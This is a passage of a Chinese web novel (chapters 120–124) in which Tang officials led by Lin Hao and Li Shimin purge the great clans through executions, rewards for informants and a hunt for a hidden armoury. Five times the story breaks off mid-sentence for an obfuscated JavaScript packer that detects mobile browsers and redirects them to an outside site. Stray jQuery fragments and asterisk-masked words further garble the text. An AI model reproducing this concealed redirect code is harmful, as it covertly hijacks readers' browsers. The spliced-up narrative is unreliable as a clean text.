当图纸完全展开的瞬间,整个太极殿,响起一片倒吸冷气的声音。
图纸上,密密麻麻地插着各种颜色的小旗。
红色的,代表盐井。
黑色的,代表铁矿。
黄色的,代表铜山。
而这些旗帜上,无一例外,都写着一个个显赫的姓氏。
崔、卢、郑、王、李……
五姓七望的旗帜,几乎插满了整幅舆图!
“诸位大人,都看清楚了吗?”
林浩的声音,在安静的大殿中回响。
“我大唐,有官营盐井三十六处,而掌控在五姓七望及其旁支手中的,超过两百处!”
“铁矿,官营一十五座,他们手里,有九十多座!”
“铸钱用的铜山,更是有八成以上,被他们牢牢掌控!”
“他们嘴上说着为国分忧,实际
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391688|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上,却是在挖空大唐的根基!吸食着天下万民的血肉!”
林浩指着那些世家官员,声音陡然拔高。
“他们利用垄断,在丰年,将粮食价格压到最低,逼得农民不得不卖掉救命粮。”
“在荒年,再以十倍、百倍的价格卖出!”
“百姓饿死于沟壑,他们的粮仓却堆积如山,宁肯让粮食发霉腐烂,也不肯开仓赈济!”
“刺杀朝廷命官,只是因为宝钞的推行,动了他们吸血的根!”
“在他们眼里,没有君王,没有社稷,只有他们家族的利益!”
“这样的国之蛀虫,留着何用?!”
“其罪,当诛!”
林浩一番话,掷地有声,字字诛心!
整个太极殿,鸦雀无声。
那些刚刚还哭天喊地的世家官员,此刻全都面如死灰,瘫在地上,一个字也说不出来。
长孙无忌看着那幅巨大的地图,看着上面密密麻麻的家族旗帜,只觉得一阵天旋地转。
他知道,林浩拿出的这些,全都是真的。
甚至,这可能还不是全部!
完了。
这次,谁也救不了他们了。
“好!说得好!”
一直沉默的程咬金,突然一声爆喝,打破了寂静。
“陛下!俺老程**!带兵去抄了这帮王八蛋的家!”
“请陛下下旨,严惩**!”
“严惩**!”
尉迟恭、秦琼等一众武将,齐齐出列,声如洪钟。
李世民看着群情激奋的众将,又看了看面如死灰的世家官员,眼中杀机爆闪。
他要的就是这个效果!
他猛地站起身,走下龙椅,一脚将一个装着卷宗的箱子踢翻在地!
无数记载着世家罪证的卷宗,散落一地。
“传朕旨意!”
李世民的声音,如同腊月的寒风,刮过大殿。
“大理寺、刑部、御史台,三司联合,即刻成立专案组,彻查所有涉案世家!”
“查他们的盐井!查他们的铁矿!查他们的粮仓!”
“朕要看看,这些年,他们到底从我大唐,从我大唐的子民身上,吸了多少血!”
“所有名下产业,一律查封!所有账目,一律清点!”
“但凡有牵连者,一并拿下,严惩不贷!”
“一个,不留!”
李世民的目光,最后落在了长孙无忌的身上。
长孙无忌的身体,抖得如同风中的落叶。
而林浩,也在这时,悄悄地看向了这位自己的顶头上司,大唐的宰相。
四目相对。
长孙无忌的眼神无比复杂,有震惊,有怨毒,但更多的,是无力和恐惧。
他知道,林浩这一刀,不是砍向崔仁师,而是砍向了整个世家门阀的根。
而大理寺的彻查,就是那把深入骨髓的手术刀。
这一刀下去,挖出来的,恐怕不仅仅是金山银山,还有更多足以让整个大唐都为之震动的,埋藏了上百年的秘密!
第121章:我要让天下百姓,都来当我的刀
太极殿内,李世民那句“一个不留”的余音,还在梁柱间嗡嗡作响。
“传朕旨意!”
“即刻起,由少府监林浩,金吾卫大将军李君羡,大理寺卿孙伏伽,组成三司调查组!”
“全权负责彻查五姓七望及其党羽,所有不法之事!”
此言一出,朝堂上那些刚刚还心存侥幸的世家官员,一个个面如土色。
三司会审!
由林浩这个最大的仇家牵头,配上皇帝最信任的武将和最铁面无私的法官!
这哪里是调查,这是要把他们连根拔起,扔进火里烧成灰!
“陛下!不可啊!”
一名太原王氏的官员膝行几步,抢出队列,哭喊道:“林浩与崔家主有私怨,他来主导调查,恐有不公!求陛下三思!”
“对啊陛下!林浩年纪尚轻,恐难当此大任!”
李世民看着他们最后的挣扎,脸上浮现出一抹残酷的笑。
“私怨?他林浩差点连命都没了,这笔账,朕替他记着!”
“难当大任?”
李世民的视线越过众人,落在林浩身上。
“朕再给你们加一道旨意!”
“三司调查组办案期间,凡涉案人员,证据确凿者,可先斩后奏!”
“全国各道府兵、金吾卫,皆听从林浩调遣!”
“朕给你们人,给你们刀,也给你们权力!”
“朕只有一个要求!把这些毒瘤,从我大唐的肌体上,一刀一刀,给朕剐干净!”
先斩后奏!
调遣全国兵马!
这八个字,像八道天雷,狠狠劈在每一个人的天灵盖上!
整个太极殿,刹那间死寂一片,连呼吸声都消失了。
所有人都被这史无前例的授权给震得魂不附体。
这不是授权,这是把皇帝的权力,直接掰了一半塞进了林浩的手里!
那些跪在地上的世家官员,一个个瘫软在地,眼神空洞,像是被抽走了魂魄。
他们明白,皇帝不是在演戏,他是真的要对他们举起屠刀了。
长孙无忌猛地抬起头,脸上最后一丝血色也褪得干干净净。
他张了张嘴,似乎想做最后的挣扎,可当他对上李世民那双燃烧着滔**火的眼睛时,所有的话都堵死在了喉咙里。
李世民那一眼,没有杀气,却比任何刀剑都来得锋利。
那眼神里清清楚楚地写着:你再多说一个字,下一个被清算的就是你长孙家!
长孙无忌的身体剧烈地晃了晃,头上的梁冠都歪了半边,最终,他缓缓地,深深地,将头磕在了冰冷的地砖上。
他认输了。
在这场君权与门阀的终极对决里,随着崔仁师那愚蠢的一刀,世家已经满盘皆输。
林浩站在殿中,感受着四面八方投来的,混杂着恐惧、怨毒、震惊的视线,脸上没有一丝波澜。
他对着龙椅上的李世民,深深一揖。
“臣,领旨!”
……
散朝之后。
大理寺,一间专用于审理谋逆大案的密室。
林浩坐在主位,李君羡和刚刚从宫中赶来的大理寺卿孙伏伽,分坐两侧。
孙伏伽是个年过五旬的老者,面容清癯。
他看着眼前这个年轻人,心里也是感慨万千:“林大人,陛下将如此重任交予我等,我孙伏伽,定当全力以赴。”
“有孙大人这句话,这事就成了一半。”
林浩也不客套,直接从怀里掏出那幅在大殿上展示过的舆图,铺在桌上。
“两位请看。”
李君羡和孙伏伽凑了过去,看着上面密密麻麻的旗帜,饶是两人都见惯了大场面,此刻也是心头一沉。
“世家的根,不在长安,而在地方。”
林浩的手指,点在了地图上河北道的一片区域,“他们的盐井、铁矿、田庄、坞堡,遍布大唐各州县。他们与地方官吏勾结,盘根错节,形成了一张巨大的网。想要查他们,只靠长安派人,无异**捞针。”
“所以,我的计划,叫‘拔根’。”
林浩看向孙伏伽:“孙大人,我需要你大理寺的人,立刻根据现有卷宗,连夜制定出一份详细的罪名清单。比如,私采盐铁,该当何罪;垄断粮价,该当何罪;侵占军田,又该当何罪。每一条,都要有明确的量刑标准,精确到砍多少人,抄多少家。我要让天下人都知道,我们不是在报复,我们是在依法办事!”
孙伏伽捻着胡须的手指一顿,重重点头:“此事不难,天亮之前,我便可拟定初稿。”
林浩点了点头,又转向李君羡:“李将军,你的任务最重。”
“从现在开始,秘密调集各地金吾卫精锐,让他们化整为零,换上便装,以商队、行脚僧、货郎等身份,秘密潜入这些世家势力最猖獗的州府。”
“记住,不要惊动任何人,找到当地的宝钞务,潜伏下来,等待我的命令。”
李君羡咧嘴一笑,露出一口白牙:“林大人的意思是……先布网,再收鱼?”
“没错。”
林浩的脸上也露出一丝笑意,从袖中取出一份刚刚拟好的告示草稿,“最后,我将以三司调查组的名义,通告全国。凡是能提供世家罪证者,一经查实,不仅本人无罪,还可根据罪证大小,获得少则百贯,多则万贯的宝钞奖励!”
“举报渠道,就是我们遍布全国的宝钞务!”
话音落下,密室里一片死寂。
这一招,太狠了!太毒了!
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391689|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这是要发动天下百姓,来对付世家啊!
在巨额赏金的诱惑下,那些被世家欺压多年的管事、佃户、甚至是被排挤的旁支族人,谁能不动心?
用世家最看不起的“民”,来挖他们的根!这比千军万马都管用!
“林大人,”孙伏伽的声音有些干涩,“此计虽妙,但会不会……激起民变?”
“不会。”
林浩的语气斩钉截铁,“我们给的是宝钞,他们拿到钱,第一件事就是去宝钞务兑换商品。这只会让宝钞的信誉更加稳固,让经济流动起来。这是一举多得。”
“世家以为他们在地方上固若金汤,那我们就把这潭水搅浑,让他们看看,没了官府的庇护,他们引以为傲的根基,到底有多脆弱。”
……
三天后。
长安城的风暴,以最快的速度席卷了整个大唐。
河北道,清河郡,崔氏祖宅。
留守的崔氏大管家,在接到长安传来的消息后,立刻下令销毁所有账目。
后院里,浓烟滚滚,无数记载着崔家百年“功绩”的账本,被付之一炬。
“慌什么!”大管家对着一群六神无主的族人厉声呵斥,“家主只是暂时蒙冤!我崔氏在河北道经营数百年,根深蒂固!别说一个毛头小子,就是皇帝亲来,又能奈我何?”
“传令下去,让博陵郡那边看紧点,别让那些死士的‘家眷’跑了!”
“再给魏州刺史送去一万贯!让他把嘴闭牢了!”
同样的场景,在范阳、在荥阳、在太原,不断上演。
这些盘踞地方的庞然大物,在最初的震惊过后,迅速启动了他们经营百年的保护网。
销毁证据,转移财产,恐吓百姓,威逼利诱地方官员。
一时间,无数**林浩“公报私仇,扰乱地方”的奏折,雪片般飞向长安。
甘露殿内。
李世民看着龙案上堆积如山的奏折,脸上却不见丝毫怒气,反而端起茶杯,悠闲地品了一口。
他放下茶杯,看向站在下方的林浩。
“林浩,河北、山东、河南,几十个州府的刺史、县令,都在**你。他们说你的调查组在地方上横行霸道,冤枉好人,搞得是怨声载道,民不聊生。”
“调查,似乎进行得不太顺利啊。”
林浩微微一笑,从容不迫:“陛下,不是不顺利。”
“而是那些藏在水下的鱼,全都自己蹦出来了。”
他从怀中取出一份名单,双手呈上,“这份名单上的人,都是这几日,以各种理由阻挠调查,甚至公然为世家开脱的地方官员。”
“陛下,网已经撒下,鱼也已经入网。”
“是时候,杀鸡儆猴了。”
第122章: 前脚还在摆宴,后脚全家玩完
李世民看着那份名单,脸上看不出喜怒。
他拿起了御笔,在朱砂里轻轻一蘸。
林浩站在殿下,眼观鼻,鼻观心,一动不动。
偌大的甘露殿,只听得见笔锋划过纸张的“沙沙”声。
李世民在那份名单的第一个名字——河北道刺史王玄策的后面,画了一个圈。
随即笔锋一转,一个“斩”字,落在了圈旁边。
一股无形的杀气,瞬间弥漫开来。
“传朕军令。”
李世民扔下笔,“六百里加急,发往河北道。着金吾卫执行。”
那内侍双手捧着那张薄纸,只觉得有千斤重,额头上的冷汗顺着脸颊就淌了下来。
仅仅半个时辰。
数骑快马背负着代表最高军令的红翎,冲出长安城。
马蹄踏在官道上,卷起的烟尘如龙,朝着东方,一骑绝尘。
……
河北道,魏州。
刺史府内,丝竹悦耳,舞女的腰肢软得像没有骨头。
河北道刺史王玄策,左手搂着新纳的美妾,右手端着酒杯,一张脸喝得通红。
“诸位,把心放回肚子里!”
王玄策打了个酒嗝,大着舌头对满堂宾客嚷嚷:“长安城那点风波,算个屁!”
“一个**都没长齐的小子,还能把天给翻了?”
“我太原王氏,站了几百年不倒,什么风浪没见过?”
堂下,一众依附于王家的本地豪族、官员,立刻堆起笑脸,马屁拍得震天响。
“刺史大人说的是!他林浩算个什么东西!”
“没错!想动咱们河北道的地皮,他还嫩了点!”
王玄策被捧得飘飘然,得意地哈哈大笑,举起酒杯正要一饮而尽。
“轰隆!”
一声巨响,府邸那两扇沉重的朱漆大门,竟被人从外面硬生生踹飞了进来!
门板砸在地上,整个大厅都跟着震了一下。
歌舞声,戛然而止。
满堂宾客的笑脸,僵在脸上,齐刷刷地扭头看向门口。
一队队身着黑甲、手持横刀的金吾卫涌了进来。
他们一言不发,行动间只有甲叶碰撞的轻微声响。
但那股冰冷的杀气,瞬间就将满室的暖意和酒气冲得一干二净。
眨眼之间,府邸各处要道,全被他们控制。
为首的一名校尉,脸上带着一道刀疤,挎着长刀,龙行虎步地走进宴会厅。
王玄策的酒意,被这一下吓醒了大半。
他猛地推开怀里的女人,踉跄着站起来,指着门口怒吼:“你们是什么人?!好大的狗胆!知道这是什么地方吗?!”
刀疤校尉看都懒得看他,只是冷漠地一挥手。
两名金吾卫立刻出列,一左一右,像老鹰抓小鸡一样,将王玄策死死按住。
“放肆!你们敢对本官动手?”
王玄策拼命挣扎,脖子上的青筋都爆了起来,声嘶力竭地吼道:“我乃朝廷二品大员!太原王氏嫡系!谁给你们的胆子!”
校尉走到他面前,从怀中掏出一卷黄绫,猛地展开。
“河北道刺史王玄策,勾结世家,盘剥百姓,阻挠新政,罪大恶极!赐你一死!即刻行刑!”
王玄策的瞳孔猛地一缩,脸上的嚣张和愤怒瞬间凝固,随即被一种彻骨的惊恐所取代。
“不……不可能……圣旨呢?三省的印信呢?”
“这是假的!你们是矫诏!你们要**!”
校尉缓缓收起黄绫,冷声说道:“陛下有旨。”
“三司调查组办案期间,凡涉案人员,证据确凿者,可先斩后奏!”
先、斩、后、奏!
每一个字,都像一记重锤,狠狠砸在王玄策的天灵盖上。
他瞬间明白了。
皇帝,是来真的。
“拖出去!”校尉下令。
“不!饶命!大人饶命啊!”
王玄策彻底崩溃了,一股腥臊的恶臭从他身下传来,华贵的裤腿以肉眼可见的速度湿了一大片。
他被两个金吾卫像拖死狗一样,直接拖到了刺史府门外的长街上。
街道两旁,早已被闻讯赶来看热闹的百姓,围得水泄不通。
“噗通!”
王玄策被重重地按跪在冰冷的街心。
校尉“呛啷”一声拔出横刀,对着成百上千的围观百姓,用尽全身力气吼道:
“刺史王玄策,鱼肉乡里,罪证确凿!奉旨,斩立决!”
话音未落,刀光一闪!
“咔嚓!”
一颗肥硕的头颅高高飞起,在空中翻滚时,脸上还定格着那惊恐到极致的表情。
“噗——”
脖腔里喷出的热血,像喷泉一样,将青石板路浇得一片暗红。
围观的百姓,都被这血腥的一幕吓住了。
紧接着,人群中爆发出山呼海啸般的骚动。
“杀……杀了?”
“天啊!刺史大人就这么被砍了脑袋?”
金吾卫校尉对骚动的人群视若无睹,长刀一甩,血珠飞溅,还刀入鞘。
他转过身,对着身后黑压压的兵士,只吐出一个字。
“搜!”
数百名金吾卫立刻冲入刺史府。
很快,一箱箱码得整整齐齐的金条银锭,一车车普通人一辈子都见不到的绫罗绸缎。
还有堆积如山的账本地契,被从暗格、地窖里源源不断地搜出,直接堆在了府门外的长街上。
财富堆成了一座小山。
铁证如山!
半月后,消息传回长安。
太极殿上,再次炸开了锅。
“陛下!”
长孙无忌第一个冲出队列:“随意斩杀封疆大吏,这是取乱之道啊!河北道世家盘根错节,如此酷烈的手段,必然激起民变!”
“是啊陛下!”
一群和世家沾亲带故的老臣,乌压压跪了一地。
李世民坐在龙椅上,拿起一份刚刚从
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391690|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
河北道传回来的八百里加急,扔到了长孙无忌的脚下。
“民变?你自己睁开眼睛看看!”
“王玄策府上,搜出金银四十万贯!田契万顷!而他治下的百姓,去年大旱,要靠交换孩子才能活下去!这就是你们口口声声说的国之基石?”
“朕不杀他,才是真正的取乱之道!”
李世民猛地站起身,对着殿外厉声喝道:“来人!将王玄策的罪状,以及查抄清单,立刻张贴于朱雀门!昭告天下!”
“朕就是要让所有人都看看,跟朕的江山争利,跟朕的子民抢食,是个什么下场!”
……
少府监。
林浩平静地看着各地传回来的报告。
王玄策那颗滚落在地的人头在整个大唐官场砸起了滔天巨浪。
河北道、山东道,那些原本阳奉阴违,暗中给调查组使绊子的地方官吏,一夜之间,全都变成了乖顺的绵羊。
不少人甚至连夜派心腹,偷偷将一些见不得光的账本和证据,送到了当地的宝钞务。
而那些世家大族在地方上的代理人,则彻底陷入了恐慌。
他们疯狂地在后院烧着账本,带着家产连夜转移,一些作恶多端的小家族,更是直接关门闭户,举家逃窜。
整个北方,鸡飞狗跳。
“老师,这招杀鸡儆猴,简直神了!”
墨顿满脸兴奋,激动得直搓手。
林浩却只是点了点头,他的视线,落在了一份刚刚送来的审讯报告上。
“孙大人那边,有进展了吗?”
“有了!”墨顿立刻递上一份新的卷宗,“那几个活口,全招了!特别是关于那个‘山云’纹身和博陵郡的事,吐得干干净净。”
林浩接过卷宗,手指飞快地翻阅着。
“崔平……隋末绿林首领‘云中虎’?”
他看到一个名字,手指的动作停了下来。
崔家豢养死士的教官,竟然是前朝的一名悍匪头子。
这就不是普通的家奴护院那么简单了。
这分明是一支有组织、有传承的私人武装!
正思索间,一名金吾卫亲兵脸色凝重,快步走了进来,单膝跪地。
“林大人!李将军从博陵郡发来紧急军情!”
亲兵双手呈上一封用火漆死死封住的信件。
林浩心中一动,立刻扯开封口。
信上的字不多,却让他的眼神瞬间变得锐利。
“博陵郡,崔氏坞堡,发现大规模兵力调动迹象。”
“他们……似乎想强行转移那些死士的家眷!”
墨顿大惊失色:“他们想干什么?难道是要**灭口?”
“不。”
林浩缓缓放下信纸,站起身,走到那副巨大的地图前。
他的目光死死钉在河北道博陵郡的位置上。
“灭口,动静太大了。他们是要把最大的秘密,也是最大的把柄,藏到我们找不到的地方去。”
第123章:老乡们把世家祖坟都刨了
王玄策被当街斩首的消息,三天便传遍了整个河北道。
随之而来的,是前所未有的恐慌。
那些前一天还在和王玄策推杯换盏的地方官吏、豪族士绅,一个个吓得魂飞魄散。
皇帝,真的在**!
而且是不经三省复核,直接就地行刑的杀!
一些胆小的县令,当天就病倒了,连官署的大门都不敢出。
而另一些心思活络的,则连夜备上厚礼,偷偷摸摸地找到了当地金吾卫的临时驻地,声泪俱下地表示自己是被世家胁迫,愿意弃暗投明,戴罪立功。
恐慌,正在以最快的速度蔓延。
就在这人心惶惶的当口,林浩的第二道命令到了。
“三司调查组通告!”
一张张盖着三司大印的巨大榜文,被金吾卫贴满了魏州城内,以及周边所有州县的公告栏上。
榜文的内容简单粗暴。
“凡举报五姓七望及其党羽,私采盐铁、私铸钱币、垄断粮价、侵占田亩、欺压良善等罪行者,一经查实,证据提供者,不仅自身过往罪责可免,更可按罪证价值大小,获得百贯至万贯宝钞之奖赏!”
“举报地点:各地大唐宝钞务!”
“凡敢报复举报者,一经发现,株连全族!”
通告一出,整个河北道都安静了。
百姓们围在公告栏前,对着那白纸黑字指指点点,议论纷纷。
“举报……还给钱?”
“万贯宝钞!我的天爷,那得是多少钱啊!”
“是真的假的?别是官府的圈套吧?咱们前脚去举报,后脚就被崔家的人沉了井!”
“就是!崔家在咱们这儿,那就是天!谁敢去捋虎须?”
疑虑,担忧,还有一丝被压在心底最深处的期盼,在人群中交织。
没人敢当第一个吃螃蟹的人。
他们在等。
魏州城外,一个叫张老三的农户,在公告栏前站了整整一天。
他双拳紧攥,指甲都嵌进了肉里。
去年大旱,崔家的管事封锁粮仓,将米价抬高了十倍。他走投无路,只能将自己刚满十岁的女儿,以三斗粟米的价格,卖给了人牙子。
每当夜深人静,他都能听到妻子撕心裂肺的哭声。
“**!”
张老三牙齿咬得咯咯作响,布满血丝的眼睛死死盯着榜文上“万贯宝钞”四个大字。
他猛地一转身,拨开人群,朝着城里宝钞务的方向,疯了一样跑去!
“我举报!我要举报!”
张老三冲进宝钞务的大门,将一份他偷偷藏了一年,记录着崔家管事如何囤积居奇、逼**命的**,拍在了柜台上。
宝钞务的掌柜,立刻将他请入后堂。
不到一个时辰。
在金吾卫的陪同下,宝钞务的掌柜亲自将五十贯崭新的宝钞,交到了张老三的手中。
“张义士,此乃朝廷首笔奖赏!你的义举,明日便会登上长安邸报,昭告天下!”
张老三捧着那厚厚一沓宝钞,浑身都在发抖。
他没回家。
他拿着钱,冲进了街对面的“大唐宝钞指定商号”。
半个时辰后。
两辆装得冒尖的大车,被从商号里推了出来。
车上,是雪白的大米,是厚实的棉布,是油汪汪的腊肉!
张老三赶着牛车,在全村人目瞪口呆的注视下,回到了村口。
他跳下车,对着所有乡亲,嘶哑地吼道:“分了!都分了!”
“朝廷说话算话!举报崔家那帮畜生,真的给钱!”
这一下,彻底点燃了**桶。
一个活生生的例子,两辆堆成小山的物资,比任何言语都有说服力!
“我也去!王家二管事去年强占了我家三亩水田,地契我都还留着!”
“还有我!郑家的护院打断了我爹的腿,我亲眼看到的!”
“走!都去!”
消息如同长了腿的野火,从魏州开始,迅速向整个河北道,甚至周边的山东、河南蔓延。
压抑了百年的怒火,在宝钞的刺激下,彻底喷发!
各地的宝钞务门前,排起了望不到头的长龙。
有白发苍苍的老人,有抱着孩子的妇人,有被地主打断腿的佃户。他们从四面八方涌来,许多人甚至是连夜赶路,揣着发黄的地契、带血的衣物、按着手印的状纸。
他们要的不仅仅是赏钱。
他们要的是一个公道!
地方上的世家彻底慌了。
他们眼睁睁看着自己最信任的管事、最熟悉的佃户,一个个跑去官府“背叛”自己。
博陵崔氏的一名旁支族长,气急败坏之下,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391691|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
立刻调集了上百名家丁打手,手持棍棒,冲上街头,试图恐吓那些排队的百姓。
“谁敢去宝钞务!先问问我手里的棍子!”
然而,他们还没冲到街口。
从两旁的茶楼、酒肆、货栈里,冲出了几十个看似普通茶客、伙计的壮汉。
这些人,正是早已潜伏多时的金吾卫便衣。
他们手里没有横刀,只有最不起眼的短棍和**。
但他们出手,招招都是**技。
巷战,在电光石火间爆发,又在极短的时间内结束。
第二天清晨。
博陵城的几条暗巷里,发现了十几具尸体。
都是前一天去**的崔家打手。
每个人的尸体旁边,都用石灰撒着一行大字。
“欺压百姓,罪无可赦。”
冰冷的字迹,让所有看到的人,后背发凉。
这一下,整个河北道的地方势力,彻底安静了。
那些原本还想帮世家说几句话,或者暗中使绊子的地方官吏,全都变成了缩头乌龟。
开玩笑!
连皇帝的屠刀都挡不住,他们这些小鱼小虾,还想去螳臂当车?
风向,彻底变了。
无数的**,雪片般汇集到林浩的案头。
“老师,我们发了!”墨顿看着那堆积如山的卷宗,兴奋得满脸通红,“这些东西,足够把五姓七望在地方上的根,全都刨干净了!”
林浩没有说话,他只是平静地翻阅着这些来自民间的罪证。
他下达了新的命令。
“命令各地宝钞务,将所有收到的线索,立刻进行分类。”
“优先处理所有与博陵郡崔氏相关的罪证!”
他的目标,从始至终,只有一个。
那就是藏在博陵郡坞堡里的,崔家最大的秘密。
就在这时,大理寺卿孙伏伽脚步匆匆地走了进来,他的脸上带着一种压抑不住的激动。
“林大人!审出来了!”
“被我们策反的死士,为了给他家人换一条活路,全招了!”
孙伏伽将一份供词递到林浩面前。
“他说,博陵郡的坞堡里,除了那些死士家眷……”
孙伏伽压低了声音。
“还藏着崔氏百年来,积攒的秘密金库,和一座……足以装备三千人的军械库!”
第124章:一招攻心计,让世家杀自己人
少府监的临时公房内,灯火彻夜不熄。
来自大唐各州县的**,一车一车的卷宗被从各地的宝钞务运抵长安,负责整理归档的令吏们忙得脚不沾地。
“老师,这是刚刚从魏州、博州、贝州送来的,足足三大车!”
墨顿抱着一摞半人高的卷宗,脸上是藏不住的亢奋,“咱们这招‘百姓战争’,简直是釜底抽薪!”
林浩从堆积如山的文书中抬起头,揉了揉有些发酸的脖子。
他随手拿起最上面的一份,是博陵郡一个老木匠的**,信中用歪歪扭扭的字迹,详细画出了崔氏坞堡西侧一处马厩下,存在一个“走车马的空洞”。
“老师,您看这个。”
墨顿又从怀里掏出几份单独存放的信件,“这几份来自不同的人,有的是崔家的佃户,有的是附近的货郎,他们都提到了一个怪事。崔家坞堡附近,时常有地龙翻身的动静,但地面上什么都没发生。”
林浩将那几份信件一一摊开,手指在“地龙翻身”“空洞”“走车马”这几个词上轻轻敲击。
一个念头在他脑中逐渐清晰。
他想起了当初为了将雪花盐神不知鬼不觉地运往全国,自己也曾利用过废弃的河道和山洞。
崔家,这个盘踞地方数百年的庞然大物,他们的地下网络,恐怕比自己想象的要庞大和古老得多。
“墨顿,去把李将军请来。”
“弟子马上去!”
片刻后,李君羡大步流星地走了进来:“林大人,又有新活儿了?”
林浩没有废话,直接将那几份关于“地洞”的**推了过去:“李将军,我需要你的人,去博陵郡给我当一回‘土拨鼠’。”
李君羡看完信,咧嘴一笑:“我懂了,又是挖洞的活儿。放心,我手下有几个斥候,祖上就是摸金校尉,干这个是专业的。”
“这次不一样。”林浩摇了摇头,走到墙边那副巨大的舆图前,“我不要他们挖,我要他们画。把崔家坞堡地下的所有通道,给我一寸一寸地画出来。对了,可以带上我们少府监新制的地龙探测仪。”
地龙探测仪?
李君羡虽然不明白那是什么玩意儿,但听名字就知道是少府监出品的古怪东西。
他也不多问,只重重地点了点头:“没问题!保证把崔家的地窖掏得比他们脸还干净!”
就在李君羡领命离去时,一名宝钞务的掌柜神色匆匆地跑了进来。
“大人!出事了!”掌柜的额头上全是汗,“山东几家宝钞务分号发来急报,最近有大批人拿着成色极差的劣币,来兑换咱们的宝钞。数量太大,分号的储备铜钱都快被换空了!”
墨顿一听就明白了:“这是想用废铜换咱们的真金白银,搞乱咱们的宝钞!”
“反应倒是挺快。”林浩对此并不意外,提笔写下一道手令,“传我命令,即刻昭告全国。凡持劣币者,宝钞务可按其实际铜料价值进行折算兑换。另外,凡能举报私铸劣币窝点者,赏宝钞千贯!”
掌柜接过手令,眼睛一亮。
高啊!这不止是化解了危机,更是把对方的武器变成了自己的诱饵!
“还有,”林浩补充道,“把最近查抄那些世家旁支得来的金银,全部调拨给各地宝钞务,给我把底气做足了!我倒要看看,是他们的劣币多,还是我的金山银山硬!”
随着王玄策人头落地,对世家附庸的清算在各地全面展开。
无数小家族被连根拔起,他们囤积的财富流水般汇入国库,再通过宝钞务,变成支撑这场战争最雄厚的资本。
……
三天后的深夜,博陵郡,崔氏坞堡西侧的密林。
几道黑影借着夜色的掩护,悄无声息地潜伏在草丛中。
为首的金吾卫斥候队长,正将一个铜制的、形似听诊器的东西,紧紧贴在地面上。
这便是林浩口中的地龙探测仪。
他闭上眼睛,仔细分辨着从地下传来的动静。
“队长,怎么样?”旁边一名队员压低声音问。
队长做了个噤声的手势,许久,他才抬起头,脸上带着几分凝重:“下面有动静。不是水声,是车轮滚动的声音,还有……整齐的脚步声。”
“下面……人很多,多得不正常。”
就在他们准备进一步探查时,林中传来三长两短的鸟鸣。
是自己人!
一名化装成货郎的宝钞务探子,从黑暗中钻了出来,他将一个蜡丸塞到队长手中,便又消失在夜色里。
队长捏开蜡丸,里面是一张细小的纸条。
“独眼龙崔平,于地底秘营练新兵。家眷已迁至‘坤’字号石室。活口之亲人亦在其中。”
独眼龙崔平!
秘密练兵!
关键人质的位置!
所有线索,在这一刻全部串联了起来!
队长不敢耽搁,立刻将情报通过最快的渠道,送往长安。
……
长安,少府监。
林浩看着手中的情报,脸上不见喜怒。
他走到舆图前,目光落在博陵郡的位置上,久久未动。
“老师,崔家这是在做最坏的打算了!他们想保留火种,甚至……想**!”墨顿的声音里带着急切。
“那就不能再
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391692|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
等了。”林浩转过身,对门外的亲兵下令,“备马,我要立刻进宫!”
半个时辰后,甘露殿。
李世民听完林浩的汇报,一拳砸在御案上。
“好一个清河崔氏!在朕的眼皮子底下,私设武库,暗练私兵!他们这是要干什么?!”
